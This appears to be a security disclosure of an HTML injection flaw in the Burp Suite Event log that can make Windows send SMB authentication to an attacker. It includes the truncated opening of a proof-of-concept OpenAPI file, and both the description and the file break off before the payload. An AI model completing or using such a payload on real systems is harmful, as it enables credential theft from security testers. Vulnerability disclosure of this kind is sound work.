Burp Suite OpenAPI Event Log HTML injection triggers Windows SMB authentication

Burp Suite 2026.8 build 53343 inserts attacker-controlled text from an OpenAPI parser exception into the Event log HTML without encoding it. After the user invokes **Response → Save OpenAPI requests to site map** and selects the resulting Event log row, Swing's `HTMLEditorKit` interprets an …

{
  "openapi": "3.0.0",
  "info": {"title": "t", "version": "1"},
  "servers": [{"url": "http://127.0.0.1:9"}],
  "paths": {
    "/x": {
      "post": {
        "requestBody": {
          "content": {
            "application/json": {
              "schema": {
                "$ref": …